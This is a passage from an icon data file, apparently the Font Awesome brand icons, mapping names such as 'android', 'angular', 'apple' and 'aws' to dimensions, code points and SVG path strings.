4.5-23.3 12.3-29.4 24.9-4.7 9.8-5.4 20.2-3.9 30.7 2 14 9 24.8 21.4 31.7 11.9 6.6 24.8 7.4 37.9 5.4 15.1-2.3 28.5-8.7 40.3-18.4a7.36 7.36 0 0 1 1.6-1.1c.6 3.8 1.1 7.4 1.8 11 .6 3.1 2.5 5.1 5.4 5.2 5.4.1 10.9.1 16.3 0a4.84 4.84 0 0 0 4.8-4.7 26.2 26.2 0 0 0 .1-2.8v-106a80 80 0 0 0-.9-12.9c-1.9-12.9-7.4-23.5-19-30.4-6.7-4-14.1-6-21.8-7.1-3.6-.5-7.2-.8-10.8-1.3-3.9.1-7.9.1-11.9.1zm35 127.7a3.33 3.33 0 0 1-1.5 3c-11.2 8.1-23.5 13.5-37.4 14.9-5.7.6-11.4.4-16.8-1.8a20.08 20.08 0 0 1-12.4-13.3 32.9 32.9 0 0 1-.1-19.4c2.5-8.3 8.4-13 16.4-15.6a61.33 61.33 0 0 1 24.8-2.2c8.4.7 16.6 2.3 25 3.4 1.6.2 2.1 1 2.1 2.6-.1 4.8 0 9.5 0 14.3s-.2 9.4-.1 14.1zm259.9 129.4c-1-5-4.8-6.9-9.1-8.3a88.42 88.42 0 0 0-21-3.9 147.32 147.32 0 0 0-39.2 1.9c-14.3 2.7-27.9 7.3-40 15.6a13.75 13.75 0 0 0-3.7 3.5 5.11 5.11 0 0 0-.5 4c.4 1.5 2.1 1.9 3.6 1.8a16.2 16.2 0 0 0 2.2-.1c7.8-.8 15.5-1.7 23.3-2.5 11.4-1.1 22.9-1.8 34.3-.9a71.64 71.64 0 0 1 14.4 2.7c5.1 1.4 7.4 5.2 7.6 10.4.4 8-1.4 15.7-3.5 23.3-4.1 15.4-10 30.3-15.8 45.1a17.6 17.6 0 0 0-1 3c-.5 2.9 1.2 4.8 4.1 4.1a10.56 10.56 0 0 0 4.8-2.5 145.91 145.91 0 0 0 12.7-13.4c12.8-16.4 20.3-35.3 24.7-55.6.8-3.6 1.4-7.3 2.1-10.9v-17.3zM493.1 199q-19.35-53.55-38.7-107.2c-2-5.7-4.2-11.3-6.3-16.9-1.1-2.9-3.2-4.8-6.4-4.8-7.6-.1-15.2-.2-22.9-.1-2.5 0-3.7 2-3.2 4.5a43.1 43.1 0 0 0 1.9 6.1q29.4 72.75 59.1 145.5c1.7 4.1 2.1 7.6.2 11.8-3.3 7.3-5.9 15-9.3 22.3-3 6.5-8 11.4-15.2 13.3a42.13 42.13 0 0 1-15.4 1.1c-2.5-.2-5-.8-7.5-1-3.4-.2-5.1 1.3-5.2 4.8q-.15 5 0 9.9c.1 5.5 2 8 7.4 8.9a108.18 108.18 0 0 0 16.9 2c17.1.4 30.7-6.5 39.5-21.4a131.63 131.63 0 0 0 9.2-18.4q35.55-89.7 70.6-179.6a26.62 26.62 0 0 0 1.6-5.5c.4-2.8-.9-4.4-3.7-4.4-6.6-.1-13.3 0-19.9 0a7.54 7.54 0 0 0-7.7 5.2c-.5 1.4-1.1 2.7-1.6 4.1l-34.8 100c-2.5 7.2-5.1 14.5-7.7 22.2-.4-1.1-.6-1.7-.9-2.4z"],
	"amilia": [448, 512, [], "f36d", "M240.1 32c-61.9 0-131.5 16.9-184.2 55.4-5.1 3.1-9.1 9.2-7.2 19.4 1.1 5.1 5.1 27.4 10.2 39.6 4.1 10.2 14.2 10.2 20.3 6.1 32.5-22.3 96.5-47.7 152.3-47.7 57.9 0 58.9 28.4 58.9 73.1v38.5C203 227.7 78.2 251 46.7 264.2 11.2 280.5 16.3 357.7 16.3 376s15.2 104 124.9 104c47.8 0 113.7-20.7 153.3-42.1v25.4c0 3 2.1 8.2 6.1 9.1 3.1 1 50.7 2 59.9 2s62.5.3 66.5-.7c4.1-1 5.1-6.1 5.1-9.1V168c-.1-80.3-57.9-136-192-136zm50.2 348c-21.4 13.2-48.7 24.4-79.1 24.4-52.8 0-58.9-33.5-59-44.7 0-12.2-3-42.7 18.3-52.9 24.3-13.2 75.1-29.4 119.8-33.5z"],
	"android": [576, 512, [], "f17b", "M420.55,301.93a24,24,0,1,1,24-24,24,24,0,0,1-24,24m-265.1,0a24,24,0,1,1,24-24,24,24,0,0,1-24,24m273.7-144.48,47.94-83a10,10,0,1,0-17.27-10h0l-48.54,84.07a301.25,301.25,0,0,0-246.56,0L116.18,64.45a10,10,0,1,0-17.27,10h0l47.94,83C64.53,202.22,8.24,285.55,0,384H576c-8.24-98.45-64.54-181.78-146.85-226.55"],
	"angellist": [448, 512, [], "f209", "M347.1 215.4c11.7-32.6 45.4-126.9 45.4-157.1 0-26.6-15.7-48.9-43.7-48.9-44.6 0-84.6 131.7-97.1 163.1C242 144 196.6 0 156.6 0c-31.1 0-45.7 22.9-45.7 51.7 0 35.3 34.2 126.8 46.6 162-6.3-2.3-13.1-4.3-20-4.3-23.4 0-48.3 29.1-48.3 52.6 0 8.9 4.9 21.4 8 29.7-36.9 10-51.1 34.6-51.1 71.7C46 435.6 114.4 512 210.6 512c118 0 191.4-88.6 191.4-202.9 0-43.1-6.9-82-54.9-93.7zM311.7 108c4-12.3 21.1-64.3 37.1-64.3 8.6 0 10.9 8.9 10.9 16 0 19.1-38.6 124.6-47.1 148l-34-6 33.1-93.7zM142.3 48.3c0-11.9 14.5-45.7 46.3 47.1l34.6 100.3c-15.6-1.3-27.7-3-35.4 1.4-10.9-28.8-45.5-119.7-45.5-148.8zM140 244c29.3 0 67.1 94.6 67.1 107.4 0 5.1-4.9 11.4-10.6 11.4-20.9 0-76.9-76.9-76.9-97.7.1-7.7 12.7-21.1 20.4-21.1zm184.3 186.3c-29.1 32-66.3 48.6-109.7 48.6-59.4 0-106.3-32.6-128.9-88.3-17.1-43.4 3.8-68.3 20.6-68.3 11.4 0 54.3 60.3 54.3 73.1 0 4.9-7.7 8.3-11.7 8.3-16.1 0-22.4-15.5-51.1-51.4-29.7 29.7 20.5 86.9 58.3 86.9 26.1 0 43.1-24.2 38-42 3.7 0 8.3.3 11.7-.6 1.1 27.1 9.1 59.4 41.7 61.7 0-.9 2-7.1 2-7.4 0-17.4-10.6-32.6-10.6-50.3 0-28.3 21.7-55.7 43.7-71.7 8-6 17.7-9.7 27.1-13.1 9.7-3.7 20-8 27.4-15.4-1.1-11.2-5.7-21.1-16.9-21.1-27.7 0-120.6 4-120.6-39.7 0-6.7.1-13.1 17.4-13.1 32.3 0 114.3 8 138.3 29.1 18.1 16.1 24.3 113.2-31 174.7zm-98.6-126c9.7 3.1 19.7 4 29.7 6-7.4 5.4-14 12-20.3 19.1-2.8-8.5-6.2-16.8-9.4-25.1z"],
	"angrycreative": [640, 512, [], "f36e", "M640 238.2l-3.2 28.2-34.5 2.3-2 18.1 34.5-2.3-3.2 28.2-34.4 2.2-2.3 20.1 34.4-2.2-3 26.1-64.7 4.1 12.7-113.2L527 365.2l-31.9 2-23.8-117.8 30.3-2 13.6 79.4 31.7-82.4 93.1-6.2zM426.8 371.5l28.3-1.8L468 249.6l-28.4 1.9-12.8 120zM162 388.1l-19.4-36-3.5 37.4-28.2 1.7 2.7-29.1c-11 18-32 34.3-56.9 35.8C23.9 399.9-3 377 .3 339.7c2.6-29.3 26.7-62.8 67.5-65.4 37.7-2.4 47.6 23.2 51.3 28.8l2.8-30.8 38.9-2.5c20.1-1.3 38.7 3.7 42.5 23.7l2.6-26.6 64.8-4.2-2.7 27.9-36.4 2.4-1.7 17.9 36.4-2.3-2.7 27.9-36.4 2.3-1.9 19.9 36.3-2.3-2.1 20.8 55-117.2 23.8-1.6L370.4 369l8.9-85.6-22.3 1.4 2.9-27.9 75-4.9-3 28-24.3 1.6-9.7 91.9-58 3.7-4.3-15.6-39.4 2.5-8 16.3-126.2 7.7zm-44.3-70.2l-26.4 1.7C84.6 307.2 76.9 303 65 303.8c-19 1.2-33.3 17.5-34.6 33.3-1.4 16 7.3 32.5 28.7 31.2 12.8-.8 21.3-8.6 28.9-18.9l27-1.7 2.7-29.8zm56.1-7.7c1.2-12.9-7.6-13.6-26.1-12.4l-2.7 28.5c14.2-.9 27.5-2.1 28.8-16.1zm21.1 70.8l5.8-60c-5 13.5-14.7 21.1-27.9 26.6l22.1 33.4zm135.4-45l-7.9-37.8-15.8 39.3 23.7-1.5zm-170.1-74.6l-4.3-17.5-39.6 2.6-8.1 18.2-31.9 2.1 57-121.9 23.9-1.6 30.7 102 9.9-104.7 27-1.8 37.8 63.6 6.5-66.6 28.5-1.9-4 41.2c7.4-13.5 22.9-44.7 63.6-47.5 40.5-2.8 52.4 29.3 53.4 30.3l3.3-32 39.3-2.7c12.7-.9 27.8.3 36.3 9.7l-4.4-11.9 32.2-2.2 12.9 43.2 23-45.7 31-2.2-43.6 78.4-4.8 44.3-28.4 1.9 4.8-44.3-15.8-43c1 22.3-9.2 40.1-32 49.6l25.2 38.8-36.4 2.4-19.2-36.8-4 38.3-28.4 1.9 3.3-31.5c-6.7 9.3-19.7 35.4-59.6 38-26.2 1.7-45.6-10.3-55.4-39.2l-4 40.3-25 1.6-37.6-63.3-6.3 66.2-56.8 3.7zm276.6-82.1c10.2-.7 17.5-2.1 21.6-4.3 4.5-2.4 7-6.4 7.6-12.1.6-5.3-.6-8.8-3.4-10.4-3.6-2.1-10.6-2.8-22.9-2l-2.9 28.8zM327.7 214c5.6 5.9 12.7 8.5 21.3 7.9 4.7-.3 9.1-1.8 13.3-4.1 5.5-3 10.6-8 15.1-14.3l-34.2 2.3 2.4-23.9 63.1-4.3 1.2-12-31.2 2.1c-4.1-3.7-7.8-6.6-11.1-8.1-4-1.7-8.1-2.8-12.2-2.5-8 .5-15.3 3.6-22 9.2-7.7 6.4-12 14.5-12.9 24.4-1.1 9.6 1.4 17.3 7.2 23.3zm-201.3 8.2l23.8-1.6-8.3-37.6-15.5 39.2z"],
	"angular": [448, 512, [], "f420", "M185.7 268.1h76.2l-38.1-91.6-38.1 91.6zM223.8 32L16 106.4l31.8 275.7 176 97.9 176-97.9 31.8-275.7zM354 373.8h-48.6l-26.2-65.4H168.6l-26.2 65.4H93.7L223.8 81.5z"],
	"app-store": [512, 512, [], "f36f", "M255.9 120.9l9.1-15.7c5.6-9.8 18.1-13.1 27.9-7.5 9.8 5.6 13.1 18.1 7.5 27.9l-87.5 151.5h63.3c20.5 0 32 24.1 23.1 40.8H113.8c-11.3 0-20.4-9.1-20.4-20.4 0-11.3 9.1-20.4 20.4-20.4h52l66.6-115.4-20.8-36.1c-5.6-9.8-2.3-22.2 7.5-27.9 9.8-5.6 22.2-2.3 27.9 7.5l8.9 15.7zm-78.7 218l-19.6 34c-5.6 9.8-18.1 13.1-27.9 7.5-9.8-5.6-13.1-18.1-7.5-27.9l14.6-25.2c16.4-5.1 29.8-1.2 40.4 11.6zm168.9-61.7h53.1c11.3 0 20.4 9.1 20.4 20.4 0 11.3-9.1 20.4-20.4 20.4h-29.5l19.9 34.5c5.6 9.8 2.3 22.2-7.5 27.9-9.8 5.6-22.2 2.3-27.9-7.5-33.5-58.1-58.7-101.6-75.4-130.6-17.1-29.5-4.9-59.1 7.2-69.1 13.4 23 33.4 57.7 60.1 104zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm216 248c0 118.7-96.1 216-216 216-118.7 0-216-96.1-216-216 0-118.7 96.1-216 216-216 118.7 0 216 96.1 216 216z"],
	"app-store-ios": [448, 512, [], "f370", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM127 384.5c-5.5 9.6-17.8 12.8-27.3 7.3-9.6-5.5-12.8-17.8-7.3-27.3l14.3-24.7c16.1-4.9 29.3-1.1 39.6 11.4L127 384.5zm138.9-53.9H84c-11 0-20-9-20-20s9-20 20-20h51l65.4-113.2-20.5-35.4c-5.5-9.6-2.2-21.8 7.3-27.3 9.6-5.5 21.8-2.2 27.3 7.3l8.9 15.4 8.9-15.4c5.5-9.6 17.8-12.8 27.3-7.3 9.6 5.5 12.8 17.8 7.3 27.3l-85.8 148.6h62.1c20.2 0 31.5 23.7 22.7 40zm98.1 0h-29l19.6 33.9c5.5 9.6 2.2 21.8-7.3 27.3-9.6 5.5-21.8 2.2-27.3-7.3-32.9-56.9-57.5-99.7-74-128.1-16.7-29-4.8-58 7.1-67.8 13.1 22.7 32.7 56.7 58.9 102h52c11 0 20 9 20 20 0 11.1-9 20-20 20z"],
	"apper": [640, 512, [], "f371", "M42.1 239.1c22.2 0 29 2.8 33.5 14.6h.8v-22.9c0-11.3-4.8-15.4-17.9-15.4-11.3 0-14.4 2.5-15.1 12.8H4.8c.3-13.9 1.5-19.1 5.8-24.4C17.9 195 29.5 192 56.7 192c33 0 47.1 5 53.9 18.9 2 4.3 4 15.6 4 23.7v76.3H76.3l1.3-19.1h-1c-5.3 15.6-13.6 20.4-35.5 20.4-30.3 0-41.1-10.1-41.1-37.3 0-25.2 12.3-35.8 42.1-35.8zm17.1 48.1c13.1 0 16.9-3 16.9-13.4 0-9.1-4.3-11.6-19.6-11.6-13.1 0-17.9 3-17.9 12.1-.1 10.4 3.7 12.9 20.6 12.9zm77.8-94.9h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.2 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3H137v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm57.9-60.7h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.3 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3h-39.5v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm53.8-3.8c0-25.4 3.3-37.8 12.3-45.8 8.8-8.1 22.2-11.3 45.1-11.3 42.8 0 55.7 12.8 55.7 55.7v11.1h-75.3c-.3 2-.3 4-.3 4.8 0 16.9 4.5 21.9 20.1 21.9 13.9 0 17.9-3 17.9-13.9h37.5v2.3c0 9.8-2.5 18.9-6.8 24.7-7.3 9.8-19.6 13.6-44.3 13.6-27.5 0-41.6-3.3-50.6-12.3-8.5-8.5-11.3-21.3-11.3-50.8zm76.4-11.6c-.3-1.8-.3-3.3-.3-3.8 0-12.3-3.3-14.6-19.6-14.6-14.4 0-17.1 3-18.1 15.1l-.3 3.3h38.3zm55.6-45.3h38.3l-1.8 19.9h.7c6.8-14.9 14.4-20.2 29.7-20.2 10.8 0 19.1 3.3 23.4 9.3 5.3 7.3 6.8 14.4 6.8 34 0 1.5 0 5 .2 9.3h-35c.3-1.8.3-3.3.3-4 0-15.4-2-19.4-10.3-19.4-6.3 0-10.8 3.3-13.1 9.3-1 3-1 4.3-1 12.3v68h-38.3V192.3z"],
	"apple": [384, 512, [], "f179", "M318.7 268.7c-.2-36.7 16.4-64.4 50-84.8-18.8-26.9-47.2-41.7-84.7-44.6-35.5-2.8-74.3 20.7-88.5 20.7-15 0-49.4-19.7-76.4-19.7C63.3 141.2 4 184.8 4 273.5q0 39.3 14.4 81.2c12.8 36.7 59 126.7 107.2 125.2 25.2-.6 43-17.9 75.8-17.9 31.8 0 48.3 17.9 76.4 17.9 48.6-.7 90.4-82.5 102.6-119.3-65.2-30.7-61.7-90-61.7-91.9zm-56.6-164.2c27.3-32.4 24.8-61.9 24-72.5-24.1 1.4-52 16.4-67.9 34.9-17.5 19.8-27.8 44.3-25.6 71.9 26.1 2 49.9-11.4 69.5-34.3z"],
	"apple-pay": [640, 512, [], "f415", "M116.9 158.5c-7.5 8.9-19.5 15.9-31.5 14.9-1.5-12 4.4-24.8 11.3-32.6 7.5-9.1 20.6-15.6 31.3-16.1 1.2 12.4-3.7 24.7-11.1 33.8m10.9 17.2c-17.4-1-32.3 9.9-40.5 9.9-8.4 0-21-9.4-34.8-9.1-17.9.3-34.5 10.4-43.6 26.5-18.8 32.3-4.9 80 13.3 106.3 8.9 13 19.5 27.3 33.5 26.8 13.3-.5 18.5-8.6 34.5-8.6 16.1 0 20.8 8.6 34.8 8.4 14.5-.3 23.6-13 32.5-26 10.1-14.8 14.3-29.1 14.5-29.9-.3-.3-28-10.9-28.3-42.9-.3-26.8 21.9-39.5 22.9-40.3-12.5-18.6-32-20.6-38.8-21.1m100.4-36.2v194.9h30.3v-66.6h41.9c38.3 0 65.1-26.3 65.1-64.3s-26.4-64-64.1-64h-73.2zm30.3 25.5h34.9c26.3 0 41.3 14 41.3 38.6s-15 38.8-41.4 38.8h-34.8V165zm162.2 170.9c19 0 36.6-9.6 44.6-24.9h.6v23.4h28v-97c0-28.1-22.5-46.3-57.1-46.3-32.1 0-55.9 18.4-56.8 43.6h27.3c2.3-12 13.4-19.9 28.6-19.9 18.5 0 28.9 8.6 28.9 24.5v10.8l-37.8 2.3c-35.1 2.1-54.1 16.5-54.1 41.5.1 25.2 19.7 42 47.8 42zm8.2-23.1c-16.1 0-26.4-7.8-26.4-19.6 0-12.3 9.9-19.4 28.8-20.5l33.6-2.1v11c0 18.2-15.5 31.2-36 31.2zm102.5 74.6c29.5 0 43.4-11.3 55.5-45.4L640 193h-30.8l-35.6 115.1h-.6L537.4 193h-31.6L557 334.9l-2.8 8.6c-4.6 14.6-12.1 20.3-25.5 20.3-2.4 0-7-.3-8.9-.5v23.4c1.8.4 9.3.7 11.6.7z"],
	"artstation": [512, 512, [], "f77a", "M2 377.4l43 74.3A51.35 51.35 0 0 0 90.9 480h285.4l-59.2-102.6zM501.8 350L335.6 59.3A51.38 51.38 0 0 0 290.2 32h-88.4l257.3 447.6 40.7-70.5c1.9-3.2 21-29.7 2-59.1zM275 304.5l-115.5-200L44 304.5z"],
	"asymmetrik": [576, 512, [], "f372", "M517.5 309.2c38.8-40 58.1-80 58.5-116.1.8-65.5-59.4-118.2-169.4-135C277.9 38.4 118.1 73.6 0 140.5 52 114 110.6 92.3 170.7 82.3c74.5-20.5 153-25.4 221.3-14.8C544.5 91.3 588.8 195 490.8 299.2c-10.2 10.8-22 21.1-35 30.6L304.9 103.4 114.7 388.9c-65.6-29.4-76.5-90.2-19.1-151.2 20.8-22.2 48.3-41.9 79.5-58.1 20-12.2 39.7-22.6 62-30.7-65.1 20.3-122.7 52.9-161.6 92.9-27.7 28.6-41.4 57.1-41.7 82.9-.5 35.1 23.4 65.1 68.4 83l-34.5 51.7h101.6l22-34.4c22.2 1 45.3 0 68.6-2.7l-22.8 37.1h135.5L340 406.3c18.6-5.3 36.9-11.5 54.5-18.7l45.9 71.8H542L468.6 349c18.5-12.1 35-25.5 48.9-39.8zm-187.6 80.5l-25-40.6-32.7 53.3c-23.4 3.5-46.7 5.1-69.2 4.4l101.9-159.3 78.7 123c-17.2 7.4-35.3 13.9-53.7 19.2z"],
	"atlassian": [512, 512, [], "f77b", "M152.2 236.4c-7.7-8.2-19.7-7.7-24.8 2.8L1.6 490.2c-5 10 2.4 21.7 13.4 21.7h175c5.8.1 11-3.2 13.4-8.4 37.9-77.8 15.1-196.3-51.2-267.1zM244.4 8.1c-122.3 193.4-8.5 348.6 65 495.5 2.5 5.1 7.7 8.4 13.4 8.4H497c11.2 0 18.4-11.8 13.4-21.7 0 0-234.5-470.6-240.4-482.3-5.3-10.6-18.8-10.8-25.6.1z"],
	"audible": [640, 512, [], "f373", "M640 199.9v54l-320 200L0 254v-54l320 200 320-200.1zm-194.5 72l47.1-29.4c-37.2-55.8-100.7-92.6-172.7-92.6-72 0-135.5 36.7-172.6 92.4h.3c2.5-2.3 5.1-4.5 7.7-6.7 89.7-74.4 219.4-58.1 290.2 36.3zm-220.1 18.8c16.9-11.9 36.5-18.7 57.4-18.7 34.4 0 65.2 18.4 86.4 47.6l45.4-28.4c-20.9-29.9-55.6-49.5-94.8-49.5-38.9 0-73.4 19.4-94.4 49zM103.6 161.1c131.8-104.3 318.2-76.4 417.5 62.1l.7 1 48.8-30.4C517.1 112.1 424.8 58.1 319.9 58.1c-103.5 0-196.6 53.5-250.5 135.6 9.9-10.5 22.7-23.5 34.2-32.6zm467 32.7z"],
	"autoprefixer": [640, 512, [], "f41c", "M318.4 16l-161 480h77.5l25.4-81.4h119.5L405 496h77.5L318.4 16zm-40.3 341.9l41.2-130.4h1.5l40.9 130.4h-83.6zM640 405l-10-31.4L462.1 358l19.4 56.5L640 405zm-462.1-47L10 373.7 0 405l158.5 9.4 19.4-56.4z"],
	"avianex": [512, 512, [], "f374", "M453.1 32h-312c-38.9 0-76.2 31.2-83.3 69.7L1.2 410.3C-5.9 448.8 19.9 480 58.9 480h312c38.9 0 76.2-31.2 83.3-69.7l56.7-308.5c7-38.6-18.8-69.8-57.8-69.8zm-58.2 347.3l-32 13.5-115.4-110c-14.7 10-29.2 19.5-41.7 27.1l22.1 64.2-17.9 12.7-40.6-61-52.4-48.1 15.7-15.4 58 31.1c9.3-10.5 20.8-22.6 32.8-34.9L203 228.9l-68.8-99.8 18.8-28.9 8.9-4.8L265 207.8l4.9 4.5c19.4-18.8 33.8-32.4 33.8-32.4 7.7-6.5 21.5-2.9 30.7 7.9 9 10.5 10.6 24.7 2.7 31.3-1.8 1.3-15.5 11.4-35.3 25.6l4.5 7.3 94.9 119.4-6.3 7.9z"],
	"aviato": [640, 512, [], "f421", "M107.2 283.5l-19-41.8H36.1l-19 41.8H0l62.2-131.4 62.2 131.4h-17.2zm-45-98.1l-19.6 42.5h39.2l-19.6-42.5zm112.7 102.4l-62.2-131.4h17.1l45.1 96 45.1-96h17l-62.1 131.4zm80.6-4.3V156.4H271v127.1h-15.5zm209.1-115.6v115.6h-17.3V167.9h-41.2v-11.5h99.6v11.5h-41.1zM640 218.8c0 9.2-1.7 17.8-5.1 25.8-3.4 8-8.2 15.1-14.2 21.1-6 6-13.1 10.8-21.1 14.2-8 3.4-16.6 5.1-25.8 5.1s-17.8-1.7-25.8-5.1c-8-3.4-15.1-8.2-21.1-14.2-6-6-10.8-13-14.2-21.1-3.4-8-5.1-16.6-5.1-25.8s1.7-17.8 5.1-25.8c3.4-8 8.2-15.1 14.2-21.1 6-6 13-8.4 21.1-11.9 8-3.4 16.6-5.1 25.8-5.1s17.8 1.7 25.8 5.1c8 3.4 15.1 5.8 21.1 11.9 6 6 10.7 13.1 14.2 21.1 3.4 8 5.1 16.6 5.1 25.8zm-15.5 0c0-7.3-1.3-14-3.9-20.3-2.6-6.3-6.2-11.7-10.8-16.3-4.6-4.6-10-8.2-16.2-10.9-6.2-2.7-12.8-4-19.8-4s-13.6 1.3-19.8 4c-6.2 2.7-11.6 6.3-16.2 10.9-4.6 4.6-8.2 10-10.8 16.3-2.6 6.3-3.9 13.1-3.9 20.3 0 7.3 1.3 14 3.9 20.3 2.6 6.3 6.2 11.7 10.8 16.3 4.6 4.6 10 8.2 16.2 10.9 6.2 2.7 12.8 4 19.8 4s13.6-1.3 19.8-4c6.2-2.7 11.6-6.3 16.2-10.9 4.6-4.6 8.2-10 10.8-16.3 2.6-6.3 3.9-13.1 3.9-20.3zm-94.8 96.7v-6.3l88.9-10-242.9 13.4c.6-2.2 1.1-4.6 1.4-7.2.3-2 .5-4.2.6-6.5l64.8-8.1-64.9 1.9c0-.4-.1-.7-.1-1.1-2.8-17.2-25.5-23.7-25.5-23.7l-1.1-26.3h23.8l19 41.8h17.1L348.6 152l-62.2 131.4h17.1l19-41.8h23.6L345 268s-22.7 6.5-25.5 23.7c-.1.3-.1.7-.1 1.1l-64.9-1.9 64.8 8.1c.1 2.3.3 4.4.6 6.5.3 2.6.8 5 1.4 7.2L78.4 299.2l88.9 10v6.3c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4 0-6.2-4.6-11.3-10.5-12.2v-5.8l80.3 9v5.4c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-4.9l28.4 3.2v23.7h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9V323l38.3 4.3c8.1 11.4 19 13.6 19 13.6l-.1 6.7-5.1.2-.1 12.1h4.1l.1-5h5.2l.1 5h4.1l-.1-12.1-5.1-.2-.1-6.7s10.9-2.1 19-13.6l38.3-4.3v23.2h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9v-23.7l28.4-3.2v4.9c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-5.4l80.3-9v5.8c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4-.2-6.3-4.7-11.4-10.7-12.3zm-200.8-87.6l19.6-42.5 19.6 42.5h-17.9l-1.7-40.3-1.7 40.3h-17.9z"],
	"aws": [640, 512, [], "f375", "M180.41 203.01c-.72 22.65 10.6 32.68 10.88 39.05a8.164 8.164 0 0 1-4.1 6.27l-12.8 8.96a10.66 10.66 0 0 1-5.63 1.92c-.43-.02-8.19 1.83-20.48-25.61a78.608 78.608 0 0 1-62.61 29.45c-16.28.89-60.4-9.24-58.13-56.21-1.59-38.28 34.06-62.06 70.93-60.05 7.1.02 21.6.37 46.99 6.27v-15.62c2.69-26.46-14.7-46.99-44.81-43.91-2.4.01-19.4-.5-45.84 10.11-7.36 3.38-8.3 2.82-10.75 2.82-7.41 0-4.36-21.48-2.94-24.2 5.21-6.4 35.86-18.35 65.94-18.18a76.857 76.857 0 0 1 55.69 17.28 70.285 70.285 0 0 1 17.67 52.36l-.01 69.29zM93.99 235.4c32.43-.47 46.16-19.97 49.29-30.47 2.46-10.05 2.05-16.41 2.05-27.4-9.67-2.32-23.59-4.85-39.56-4.87-15.15-1.14-42.82 5.63-41.74 32.26-1.24 16.79 11.12 31.4 29.96 30.48zm170.92 23.05c-7.86.72-11.52-4.86-12.68-10.37l-49.8-164.65c-.97-2.78-1.61-5.65-1.92-8.58a4.61 4.61 0 0 1 3.86-5.25c.24-.04-2.13 0 22.25 0 8.78-.88 11.64 6.03 12.55 10.37l35.72 140.83 33.16-140.83c.53-3.22 2.94-11.07 12.8-10.24h17.16c2.17-.18 11.11-.5 12.68 10.37l33.42 142.63L420.98 80.1c.48-2.18 2.72-11.37 12.68-10.37h19.72c.85-.13 6.15-.81 5.25 8.58-.43 1.85 3.41-10.66-52.75 169.9-1.15 5.51-4.82 11.09-12.68 10.37h-18.69c-10.94 1.15-12.51-9.66-12.68-10.75L328.67 110.7l-32.78 136.99c-.16 1.09-1.73 11.9-12.68 10.75h-18.3zm273.48 5.63c-5.88.01-33.92-.3-57.36-12.29a12.802 12.802 0 0 1-7.81-11.91v-10.75c0-8.45 6.2-6.9 8.83-5.89 10.04 4.06 16.48 7.14 28.81 9.6 36.65 7.53 52.77-2.3 56.72-4.48 13.15-7.81 14.19-25.68 5.25-34.95-10.48-8.79-15.48-9.12-53.13-21-4.64-1.29-43.7-13.61-43.79-52.36-.61-28.24 25.05-56.18 69.52-55.95 12.67-.01 46.43 4.13 55.57 15.62 1.35 2.09 2.02 4.55 1.92 7.04v10.11c0 4.44-1.62 6.66-4.87 6.66-7.71-.86-21.39-11.17-49.16-10.75-6.89-.36-39.89.91-38.41 24.97-.43 18.96 26.61 26.07 29.7 26.89 36.46 10.97 48.65 12.79 63.12 29.58 17.14 22.25 7.9 48.3 4.35 55.44-19.08 37.49-68.42 34.44-69.26 34.42zm40.2 104.86c-70.03 51.72-171.69 79.25-258.49 79.25A469.127 469.127 0 0 1 2.83 327.46c-6.53-5.89-.77-13.96 7.17-9.47a637.37 637.37 0 0 0 316.88 84.12 630.22 630.22 0 0 0 241.59-49.55c11.78-5 21.77 7.8 10.12 16.38zm29.19-33.29c-8.96-11.52-59.28-5.38-81.81-2.69-6.79.77-7.94-5.12-1.79-9.47 40.07-28.17 105.88-20.1 113.44-10.63 7.55 9.47-2.05 75.41-39.56 106.91-5.76 4.87-11.27 2.3-8.71-4.1 8.44-21.25 27.39-68.49 18.43-80.02z"],
	"bandcamp": [512, 512, [], "f2d5", "M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm48.2,326.1h-181L207.9,178h181Z"],
	"battle-net": [512, 512, [], "f835", "M448.61 225.62c26.87.18 35.57-7.43 38.92-12.37 12.47-16.32-7.06-47.6-52.85-71.33 17.76-33.58 30.11-63.68 36.34-85.3 3.38-11.83 1.09-19 .45-20.25-1.72 10.52-15.85 48.46-48.2 100.05-25-11.22-56.52-20.1-93.77-23.8-8.94-16.94-34.88-63.86-60.48-88.93C252.18 7.14 238.7 1.07 228.18.22h-.05c-13.83-1.55-22.67 5.85-27.4 11-17.2 18.53-24.33 48.87-25 84.07-7.24-12.35-17.17-24.63-28.5-25.93h-.18c-20.66-3.48-38.39 29.22-36 81.29-38.36 1.38-71 5.75-93 11.23-9.9 2.45-16.22 7.27-17.76 9.72 1-.38 22.4-9.22 111.56-9.22 5.22 53 29.75 101.82 26 93.19-9.73 15.4-38.24 62.36-47.31 97.7-5.87 22.88-4.37 37.61.15 47.14 5.57 12.75 16.41 16.72 23.2 18.26 25 5.71 55.38-3.63 86.7-21.14-7.53 12.84-13.9 28.51-9.06 